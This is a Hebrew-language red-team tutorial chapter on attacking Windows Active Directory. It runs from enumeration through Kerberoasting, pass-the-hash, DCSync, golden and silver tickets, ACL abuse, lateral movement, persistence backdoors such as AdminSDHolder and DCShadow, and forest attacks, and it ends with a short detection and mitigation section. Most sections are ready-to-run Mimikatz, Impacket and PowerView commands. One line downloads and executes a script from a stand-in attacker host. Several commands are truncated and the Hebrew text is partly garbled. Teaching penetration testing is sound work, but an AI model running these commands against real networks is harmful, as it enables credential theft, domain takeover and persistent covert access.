

פרק 8 · RED TEAM GUIDES

Active Directory וסביבות Windows

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 8 — Active Directory וסביבות Windows

מבוא — AD הוא שדה הקרב העיקרי

כ-95% מהחברות Fortune 500 משתמשות ב-Active Directory. כל מי שעובד בארגון גדול מכיר את ה-login של Windows עם username ו-domain. זה AD.

בפרק 1 עסקנו בבסיסי Kerberos, Golden Ticket — AD. עכשיו נצלול לעומק: enumeration מלא, כל מסלולי ה-attack, וdominance מלא על domain.

חלק 1: AD Architecture — הבסיס שחייבים להכיר

מבנה AD

Domain — היחידה הבסיסית. לדוגמה: `techcorp.local`

```
techcorp.local
├── OU (Organizational Unit): IT Department
│   ├── User: john.doe
│   ├── User: jane.smith
│   └── Computer: WS-IT-01
├── OU: Finance
│   ├── User: accountant
│   └── Computer: WS-FIN-01
└── Domain Controllers
    ├── DC01.techcorp.local
    └── DC02.techcorp.local
```

Domain Controller (DC) — השרת שמנהל את ה-AD. כל authentication עובר דרכו.

Forest — אוסף domains. כל domains בforest מאמינים אחד לשני.

```
techcorp.local (Root Domain)
├── emea.techcorp.local
└── us.techcorp.local
```

Trust — קשר של אמון בין domains. אם domain A מאמין ל-domain B, משתמשי B יכולים לגשת ל-resources ב-A.

הרכיבים החשובים

LDAP (Lightweight Directory Access Protocol) — פרוטוקול לגישה ל-AD. כל query על users, groups, computers עובר ב-LDAP.

AD — DNS תלוי לחלוטין ב-DNS. כל DC משמש גם כ-DNS server.

Kerberos — פרוטוקול authentication (נלמד ב-1). TGT, TGS, KDC.

NTLM — פרוטוקול authentication ישן. עדיין בשימוש ב-fallback.

SMB — שיתוף קבצים ב-Windows, SYSVOL, NETLOGON, ועוד.

AD-Objects

Users — `CN=John Doe,OU=IT,DC=techcorp,DC=local`

Attributes:

- sAMAccountName: john.doe
- userPrincipalName: john.doe@techcorp.local
- memberOf: [groups]
- lastLogon: timestamp
- passwordLastSet: timestamp
- adminCount: 1 (אם admin)

:Groups

```
Domain Admins    ← הכי עוצמתי
Enterprise Admins ← על-forest
Schema Admins    ← שיוני-ה
Administrators    ← DC על-ה local admins
```

Computers — כל workstation/server שגויס ל-domain.

GPO (Group Policy Object) — הגדרות שחלות על policies, scripts, OUs, הגדרות אבטחה.

SPN — Service Principal Name

SPN הוא זיהוי של שירות ב-AD. שירותים (SQL Server, IIS, Exchange) רשומים עם SPN.

```
MSSQLSvc/sql01.techcorp.local:1433
```

```
HTTP/web01.techcorp.local
```

```
HOST/ws01.techcorp.local
```

SPNs הם קריטיים ל-Kerberoasting — ננסה לבקש TGS לכל account עם SPN.

חלק 2: Enumeration — מה לאסוף

לפני שתוקפים, צריך להבין את המבנה. שאלות שצריך לענות:

- מי ה-Domain Admins?
- אילו computers קיימים?
- אילו users?
- אילו groups?
- SPNs ל-Kerberoasting?
- מי יכול לגשת לאן?

Windows-מ PowerView — Enumeration

PowerView הוא PowerShell module לenumeration של AD. בDomain machine זהו הכלי הראשי.

```

טעינה #
Import-Module PowerView.ps1

:IX #

IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PowerView.ps1')


Domain-ה מידע על-ה #
Get-Domain
Get-DomainController
Get-DomainPolicy


# Users
Get-DomainUser
Get-DomainUser -Identity john.doe
Get-DomainUser -Properties samaccountname,memberof
Get-DomainUser | Where-Object {$_.admincount -eq 1} # admins


# Groups
Get-DomainGroup
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse


# Computers
Get-DomainComputer
Get-DomainComputer -Properties dnshostname,operatingsystem
Get-DomainComputer -OperatingSystem "*Server*"


# OUs
Get-DomainOU


# GPOs
Get-DomainGPO
Get-DomainGPO -ComputerIdentity ws01.techcorp.local


# SPNs (Kerberoasting)
Get-DomainUser -SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

```

```
# ACLs — בעלויות ועוד
Get-DomainObjectAcl -Identity john.doe
Find-InterestingDomainAcl

# Shares
Find-DomainShare
Get-NetShare -ComputerName dc01.techcorp.local

# Local admins
Get-NetLocalGroupMember -ComputerName ws01.techcorp.local
```

Linux-ח — ldapdomaindump

```
# התקנה
pip3 install ldapdomaindump

# dump כל AD
ldapdomaindump ldap://192.168.1.50 -u 'techcorp\john.doe' -p 'password'

# פלט:
# domain_users.grep domain_computers.grep domain_groups.grep
# domain_users.html domain_computers.html domain_groups.html
# domain_users.json domain_policy.json
```

Linux-ח — enum4linux-ng

```
python3 enum4linux-ng.py -A -u john.doe -p password 192.168.1.50
```

rpcclient — MSRPC enumeration

```
# Anonymous
rpcclient -U "" -N 192.168.1.50

credentials עם #
rpcclient -U "john.doe%password" 192.168.1.50

:rpcclient בתוך #
rpcclient> enumdomusers      # כל users
rpcclient> enumdomgroups    # כל groups
rpcclient> queryuser 0x3e8  # לפי user מידע על RID
rpcclient> querygroup 0x200 # group מידע על
rpcclient> enumalsgroups domain # כל groups
```

AD של SMB Enumeration

```
# SYSVOL – מכיל GPOs, scripts, policies
smbclient //192.168.1.50/SYSVOL -U john.doe

GPP (Group Policy Preferences)-ב passwords #
# עם הצפנה חלשה XML-ב credentials הישן שמר GPP
find /SYSVOL/ -name "Groups.xml" 2>/dev/null
cat Groups.xml
# <Properties ... cpassword="VPe/o9YRyz2cksnYRbNeQjv ... "

# פיצוח:
gpp-decrypt VPe/o9YRyz2cksnYRbNeQjv...
```

```
# מידע על domain
cme smb 192.168.1.50 -u john.doe -p password --users
cme smb 192.168.1.50 -u john.doe -p password --groups
cme smb 192.168.1.50 -u john.doe -p password --computers

# בדיקת local admins על range
cme smb 192.168.1.0/24 -u john.doe -p password --local-auth
```

חלק 3: BloodHound — מיפוי מסלולי תקיפה

BloodHound הוא הכלי הכי חשוב ל-AD attack — הוא ממפה את כל הקשרים ב-AD ומוצא מסלולי תקיפה מ-user רגיל ל-Domain Admin.

איך BloodHound עובד

BloodHound אוסף נתוני AD (users, groups, ACLs, sessions, LocalAdmins) וממפה אותם כ-graph. הוא מחפש "מסלולים" אפשריים.

```
john.doe → member ב-IT Group →
IT Group → GenericAll על Server01 →
Server01 → john.doe can login there →
Server01 → admin session of jane.admin
```

הרצת SharpHound — Collector

SharpHound הוא ה-collector שמאסף נתוני AD.


```
# PowerShell

Import-Module SharpHound.ps1

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp


# Binary

.\SharpHound.exe --CollectionMethods All

.\SharpHound.exe --CollectionMethods All --OutputDirectory C:\temp


Linux (bloodhound-python)-מ #
pip3 install bloodhound

bloodhound-python -u john.doe -p password -d techcorp.local -dc dc01.techcorp.local --zip

BloodHound_20260830_12345.zip: # יוצר:
```

Collection Methods:

All	- הכל (מומלץ)
Session	- sessions (logged in מי) פעילים
LocalAdmin	- על מה local admin מי
ACL	- ACL הרשאות
Group	- group membership קשרי
Trusts	- domain trusts

הפעלת BloodHound

```
# Kali:

sudo neo4j console & # database הפעלת
bloodhound & # הגרפי הממשק

# Import:

# Drag & Drop ZIP את ה BloodHound
```

שאלות BloodHound

BloodHound מגיע עם שאלות מובנות (Pre-built Queries):

- Find all Domain Admins
- Find Shortest Paths to Domain Admins
- Find Principals with DCSync Rights
- Find AS-REP Roastable Users
- Find Kerberoastable Users
- Find Computers where Domain Users are Local Admin
- Find Computers with Unsupported Operating Systems

:Custom Cypher Queries

```

// כל הדרכים הקצרות ל-DA
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@TECHCORP.LOCAL"}))
RETURN p

// Users עם SPN
MATCH (u:User) WHERE u.hasspn=true RETURN u.name

// AS-REP Roastable
MATCH (u:User) WHERE u.dontreqpreauth=true RETURN u.name

```

חלק 4: Kerberoasting

מה זה Kerberoasting?

כל domain user יכול לבקש TGS (Ticket Granting Service) לכל service ב-AD — גם בלי הרשאות לשירות. ה-TGS מוצפן עם hash של סיסמת ה-service account. אם ה-service account הוא human account עם סיסמה חלשה — אפשר לפצח את ה-offline hash.

```

Domain User → בקשת TGS למSSQLSvc/sql01 →
KDC שולח TGS עם hash מוצפן של sqlsvc_account →
אנחנו מקבלים TGS → מנסים לפצח offline

```

PowerShell ב Kerberoasting

```
# PowerView – מציאת SPNs
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# Invoke-Kerberoast – קבלת hashes ישירות
Import-Module PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File kerberoast.txt
```

Linux (Impacket)-מ Kerberoasting

```
# GetUserSPNs – הכי שימושי
impacket-GetUserSPNs techcorp.local/john.doe:password -dc-ip 192.168.1.50 -request

# פלט:
# $krb5tgs$23$sqlsvc$TECHCORP.LOCAL$MSSQLSvc/sql01.techcorp.local~1433*$ABC123...
```

פיצוח Hash

```
# hashcat – mode 13100 לKerberoast
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# עם rules
hashcat -m 13100 kerberoast.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# john
john --format=krb5tgs kerberoast.txt --wordlist=rockyou.txt
```

מה קורה אם פיצחנו?

```
sqlsvc:Summer2023! → credentials לservice account
→ לפעמים ה service account הוא Domain Admin
→ לפעמים יש local admin על מחשבים
```

חלק 5: AS-REP Roasting

מה זה AS-REP Roasting?

רוב users ב-AD דורשים pre-authentication — כלומר, חייבים לשלוח encrypted timestamp לפני קבלת TGT. אבל אם ל-user יש את הדגל `Don't require Kerberos preauthentication` — KDCn ישלח TGT ישירות, ואנחנו יכולים לפצח אותו offline.

```
# מ-Linux מחפש users ללא pre-auth ולמנסה לקבל TGT
impacket-GetNPUsers techcorp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.50

# פלט:
# $krb5asrep$23$bob@TECHCORP.LOCAL:ABC123...

# עם credentials (כדי לקבל רשימת users)
impacket-GetNPUsers techcorp.local/john.doe:password -dc-ip 192.168.1.50 -request

# פיצוח
hashcat -m 18200 asrep.txt rockyou.txt
john --format=krb5asrep asrep.txt --wordlist=rockyou.txt
```

חלק 6: Pass-the-Hash

מה זה PTH?

Windows NTLM authentication עובד כך: hash של הסיסמה = "הסיסמה" לצורכי אימות. אם גנבנו hash → אפשר להשתמש בו ישירות, בלי לפצח!

```
# Impacket – PsExec עם hash
impacket-psexec administrator@192.168.1.50 -hashes :NTLM_HASH_HERE
impacket-psexec administrator@192.168.1.50 -hashes LM_HASH:NTLM_HASH

# WMIExec
impacket-wmiexec administrator@192.168.1.50 -hashes :NTLM_HASH

# SMBExec
impacket-smbexec administrator@192.168.1.50 -hashes :NTLM_HASH

# CrackMapExec
cme smb 192.168.1.0/24 -u administrator -H NTLM_HASH

# Evil-WinRM (פתוח – פורט 5985 WinRM)
evil-winrm -i 192.168.1.50 -u administrator -H NTLM_HASH

# xfreerdp עם PTH (פתוח RDP)
xfreerdp /u:administrator /pth:NTLM_HASH /v:192.168.1.50
```

איפה מוצאים hashes?

Mimikatz — מ-compromised machine:

```
:mimikatz #
privilege::debug
sekurlsa::logonpasswords # credentials של users logged in
sekurlsa::wdigest # plaintext passwords (Windows < 8.1)
lsadump::sam # local SAM database
lsadump::lsa /patch # LSA secrets
```

Meterpreter:

```
meterpreter > load kiwi
meterpreter > lsa_dump_sam
meterpreter > creds_all
meterpreter > hashdump
```

```
# מרחוק עם credentials
impacket-secretsdump administrator:password@192.168.1.50

# פלט:
# Administrator:500:aad3b435...LM...:NTLM_HASH_HERE:::
# john.doe:1001:aad3b435...:NTLM_HASH_HERE:::
```

חלק 7: Pass-the-Ticket

מה זה PTD?

כמו PTH אבל עם Kerberos tickets (TGT או TGS) במקום hashes.

```
# Mimikatz – export tickets
sekurlsa::tickets /export # יוצר .kirbi files

# import ticket
kerberos::ptt ticket.kirbi

# list tickets
klist

# עכשיו אפשר לגשת לservices בלי credentials!
dir \\dc01\c$
```

מ-Linux:

```
# export ticket לccache format
export KRB5CCNAME=/tmp/john.ccache

# שימוש
impacket-psexec dc01.techcorp.local -k -no-pass
```

חלק 8: DCSync — גניבת כל ה-hashes מה-DC

מה זה DCSync?

DCSync מנצל את ה-Replication פרוטוקול של DCs. AD מסנכרנים ביניהם. אם יש לנו הרשאות Replication (DS-Replication-Get-Changes), אפשר "לעשות replication" — כלומר לבקש מה-DC לשלוח לנו credentials.

מי יכול DCSync:

- Domain Admins
- Enterprise Admins
- Domain Controllers
- כל אחד שקיבל הרשאות Replication (ACL attack)

```
# Mimikatz
privilege::debug
lsadump::dcsync /domain:techcorp.local /user:krbtgt
lsadump::dcsync /domain:techcorp.local /user:administrator
lsadump::dcsync /domain:techcorp.local /all /csv
```

```
# Impacket מ-Linux
impacket-secretsdump techcorp.local/administrator:password@192.168.1.50 -just-dc-ntlm
impacket-secretsdump techcorp.local/administrator:password@dc01.techcorp.local -just-dc

# פלט:
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH:::
# administrator:500:...:ADMIN_HASH:::
```

מה עושים עם KRBTGT hash?

Golden Ticket! ← ראה חלק הבא.

חלק 9: Golden Ticket

מה זה Golden Ticket?

KRBTGT הוא ה-account שמוצפנים איתו כל ה-TGTs ב-domain. אם יש לנו את ה-hash שלו — אנחנו יכולים לייצר TGT לכל user שרוצים, עם כל הרשאות שרוצים, לתקופה ארוכה ככל שנרצה.

למה Golden Ticket מסוכן:

- גם אחרי שינוי סיסמת Golden Ticket — administrator עדיין עובד
- גם אחרי שמחקו user — עדיין עובד
- תוקף עד שה-KRBTGT password ישונה פעמיים (!)

```
# יצירת Golden Ticket עם Mimikatz
kerberos::golden /user:administrator /domain:techcorp.local /sid:S-1-5-21-... /krbtgt:KRB

# Parameters:
# /user: any username (!גם לא קיים)
# /domain: the domain
# /sid: domain SID (Get-DomainSID)
# /krbtgt: KRBTGT NTLM hash
# /ticket: output file

# שימוש ב-Golden Ticket
kerberos::ptt golden.kirbi
klist # ticket-רואים את ה
dir \\dc01\c$ # administrator-עכשיו מחובר כ
```

```
# מ-Linux עם Impacket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain techcorp.local adm

# שימוש
export KRB5CCNAME=administrator.ccache
impacket-psexec dc01.techcorp.local -k -no-pass
```


חלק 10: Silver Ticket

Silver Ticket הוא כמו Golden Ticket אבל ל service ספציפי. נוצר עם hash של ה service account (לא KRBTGT), ומאמת ל service בלבד — כך זה פחות "רועש".

```
# Hash של service account (sqlsvc)
sql01 # יצירת Silver Ticket ל-CIFS (file sharing) על sql01
kerberos::golden /user:administrator /domain:techcorp.local /sid:S-1-5-21-... /target:sql01

# Services:
# cifs = file sharing
# http = web
# mssql = SQL Server
# host = RDP/WinRM

kerberos::ptt silver.kirbi
dir \\sql01\c$ # גישה ל-sql01 administrator
```

חלק 11: ACL Attacks

מה זה ACL ב-AD?

כל object ב-AD (users, groups, computers, ה domain עצמו) יש לו ACL — רשימת הרשאות. הרשאות חריגות מאפשרות מתקפות:

הרשאה	מה מאפשר
GenericAll	שליטה מלאה — שינוי password, הוספה לgroups
GenericWrite	כתיבה לSPN — Kerberoasting attributes
WriteDACL	שינוי ה-ACL עצמו → הוספת DCSync
WriteOwner	שינוי בעלות → שינוי everything → ACL
ForceChangePassword	שינוי סיסמת user
AddMembers	הוספת members לgroup
AllExtendedRights	שינוי סיסמה, Kerberoasting

מציאת ACL חריגות

```
# PowerView
Find-InterestingDomainAcl | Out-File acl_results.txt

# BloodHound – הדרך הטובה ביותר
# "Find Principals with DCSync Rights"
# "Shortest Paths to Domain Admins" – ACL edges
```

ניצול ACLs

:User על GenericAll

```
# john.doe has GenericAll on jane.admin

# שינוי סיסמת jane.admin
Set-DomainUserPassword -Identity jane.admin -AccountPassword (ConvertTo-SecureString "New

# → עכשיו אפשר להתחבר כ-jane.admin
```

:Group על GenericAll

```
# john.doe has GenericAll on "Domain Admins"

# הוספת john.doe לDomain Admins!
Add-DomainGroupMember -Identity "Domain Admins" -Members john.doe

# אימות
Get-DomainGroupMember -Identity "Domain Admins"
```

:Domain על WriteDAcl

```
# john.doe has WriteDACL on the domain object

john.doe-ל DCSync rights הוספת #
Add-DomainObjectAcl -TargetIdentity "DC=techcorp,DC=local" -PrincipalIdentity john.doe -R

!DCSync יכול john.doe עכשיו #
impacket-secretsdump techcorp.local/john.doe:password@dc01.techcorp.local
```

:ForceChangePassword

```
# john.doe has ForceChangePassword on victim.admin
Set-DomainUserPassword -Identity victim.admin -AccountPassword (ConvertTo-SecureString "H
```

:Computer (Resource-Based Constrained Delegation) על GenericWrite

```
# מורכב אבל קריטי:
# john.doe has GenericWrite on WS01
WS01 על administrator-כ RBCD → impersonation הגדרת → #
```

חלק 12: Constrained Delegation

מה זה Delegation?

Delegation מאפשר לservice להתחבר לservice אחר בשם ה-user. לדוגמה: IIS server שמתחבר ל-SQL Server בשם ה-user שמחובר ל-IIS.

:Unconstrained Delegation

ה-service יכול להתחזות לכל service שרוצה. מסוכן מאוד.

```

# מציאת computers עם Unconstrained Delegation
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# ניצול:
# כש DA מתחבר ל-machine עם Unconstrained Delegation
# ה-TGT שלהם נשמר בזיכרון של ה-machine
# → Mimikatz: sekurlsa::tickets → TGT של DA → PTT

```

:Constrained Delegation

ה-service יכול להתחזות ל-users רק ל-services מוגדרים מראש.

```

# מציאת accounts עם Constrained Delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto

# ניצול ב-(Impacket (S4U2Self + S4U2Proxy
impacket-getST techcorp.local/svc_account:password -spn cifs/dc01.techcorp.local -imperso

```

חלק 13: LAPS

מה זה LAPS?

LAPS (Local Administrator Password Solution) — מיקרוסופט שומרת סיסמה אקראית לlocal admin של כל computer ב-AD attribute. מחליפה אותה כל X ימים.

```

# בדיקה אם LAPS פעיל
Get-DomainComputer -Properties dnshostname,ms-mcs-admpwdexpirationtime | Where-Object {$_.

# קריאת LAPS password (צריך הרשאות)
Get-DomainComputer WS01 -Properties ms-mcs-admpwd
# ms-mcs-admpwd: Password123

# בדיקה מי יכול לקרוא LAPS
Find-AdmPwdExtendedRights -Identity "WS01"

```

חלק 14: Lateral Movement

לאחר שיש לנו credentials על machine אחד, נרצה להתפשט למachines נוספות.

PSEXEC

```
# Impacket
impacket-psexec administrator:password@192.168.1.50
impacket-psexec administrator@192.168.1.50 -hashes :NTLM_HASH

# Windows (הכלי המקורי של Microsoft)
psexec.exe \\192.168.1.50 -u administrator -p password cmd.exe
```

WMI

```
# Impacket
impacket-wmiexec administrator:password@192.168.1.50
impacket-wmiexec administrator:password@192.168.1.50 "whoami"

# PowerShell
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe" -ComputerName
```

WinRM (PowerShell Remoting)

```
# Evil-WinRM
evil-winrm -i 192.168.1.50 -u administrator -p password
evil-winrm -i 192.168.1.50 -u administrator -H NTLM_HASH

# PowerShell
Enter-PSSession -ComputerName ws01 -Credential $cred
Invoke-Command -ComputerName ws01 -ScriptBlock { whoami } -Credential $cred
```

Token Impersonation

```
# Meterpreter – steal token
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "TECHCORP\administrator"
meterpreter > getuid # TECHCORP\administrator

# PowerShell – Invoke-TokenManipulation
```

חלק 15: Domain Persistence

לאחר שהגענו ל-Domain Admin, רוצים להישאר.

DSRM Password

password. לשחזור. DC על ה-local admin account הוא DSRM (Directory Services Restore Mode) שלו שמורה separately.

```
# שינוי DSRM password למatch של כל account
Set-DomainObject -Identity "DC=techcorp,DC=local" -Set @{"dsradminlogonbehavior" = 2}
```

Custom SSP

— DLL SSP (Security Support Provider) שנטען ב-LSASS ויכול ללכוד credentials.

```
# Mimikatz
misc::memssp # SSP בזיכרון
mimilib.dll # SSP persistent (לDisk)
```

AdminSDHolder Backdoor

— AdminSDHolder הוא special container שמגן על privileged accounts. אם נוסיף user לACL שלו — כל שעה AD יעתיק את ה-permissions לקProtected groups.

```
# הוספת full control ל john.doe על AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=techcorp,DC=local" -Pr

# כל שעה (SDProp) john.doe תהיה GenericAll על כל DA !
```

DCShadow

DCShadow מייצר DC מזויף זמנית ומשנה AD objects.

```
# Mimikatz
privilege::debug
!+
!processtoken
lsadump::dcshadow /object:john.doe /attribute:primaryGroupID /value:512
# 512 = Domain Admins!

# context-ב שני:
lsadump::dcshadow /push
```

חלק 16: Forest Attacks

Domain Trusts

Trusts בין domains מאפשרים lateral movement בין domains.

```
# מציאת trusts
Get-DomainTrust
Get-ForestTrust

# Exploitation:
# אם techcorp.local מאמין ל-subsiary.local
# ואנחנו Domain Admins ב-subsiary.local →
# ניתן לקבל גישה ל-resources ב-techcorp.local
```

```
# הוספת SID של DA ל-techcorp ל-SID history של user ב-subsiary-  
# → user ב-subsiary עם hases rights של DA בtechcorp!  
  
# Mimikatz (Domain Admin בsubsiary)  
sid::patch  
sid::add /sam:john.subsiary /new:S-1-5-21-TECHCORP-DA-SID
```

Extra SIDs (Cross-Domain Golden Ticket)

```
# Golden Ticket שכולל Enterprise Admin SID של Forest Root  
kerberos::golden /user:administrator /domain:subsiary.techcorp.local /sid:S-1-5-21-SUBS  
# 519 = Enterprise Admins SID
```

חלק 17: Defense ו-Detection

מה SOC צריך לחפש

```
Event IDs חשובים:  
4624 - Logon success  
4625 - Logon failure (brute force)  
4648 - Logon with explicit credentials (lateral movement)  
4672 - Special privileges logon (admin logon)  
4768 - Kerberos TGT request (Kerberoasting noise)  
4769 - Kerberos TGS request (Kerberoasting)  
4771 - Kerberos pre-auth failure (password spray)  
4776 - NTLM auth attempt  
5136 - AD object modification (DCSync, AdminSDHolder)  
7045 - New service installed (malware persistence)
```


AD-ב Honeypots

Honey accounts:

- User "Administrator" (disabled, high-value name)
- User "sa" (SQL service account look)
- Service accounts עם SPN → Kerberoasting bait

!Alert → כשמישהו מנסה

Defender Mitigations

```
# Disable NTLM
# Group Policy: Windows Security Settings → Security Options
# "Network Security: LAN Manager Authentication Level" → NTLMv2 only

# Enable Protected Users security group
Add-ADGroupMember -Identity "Protected Users" -Members "domain admins"

# Disable Kerberos Unconstrained Delegation
Set-ADComputer WS01 -TrustedForDelegation $false

# LAPS – local admin passwords הגנה על

# Privileged Access Workstations (PAW)
# – מחשבים ייעודיים לadmins בלבד
```

סיכום — Domain Compromise ל Attack Path

שלב 1: Foothold

→ זכינו credentials של user רגיל (phishing, brute force)

שלב 2: Enumeration

→ BloodHound, PowerView, ldapdomaindump

→ מי ה-DAS? מה מסלולי ה-attack?

שלב 3: Privilege Escalation

→ עם סיסמה חלשה לservice account

→ AS-REP Roasting ללא pre-auth

→ ACL abuse: GenericAll/WriteDACL על privileged account

→ Local admin על machine → secrets → DA credentials

שלב 4: Domain Admin

→ Mimikatz: lsadump::dcsync /user:administrator

→ Pass-the-Hash ל DA

שלב 5: Persistence

→ DCSync: krbtgt hash → Golden Ticket

→ AdminSDHolder backdoor

→ DCShadow ל user לסיפון group

שלב 6: Forest Dominance (אם רב-forest)

→ SID History / Extra SIDs

→ Cross-forest Golden Ticket

הפרק הבא עוסק ב-Post-Exploitation — מה עושים אחרי הכניסה.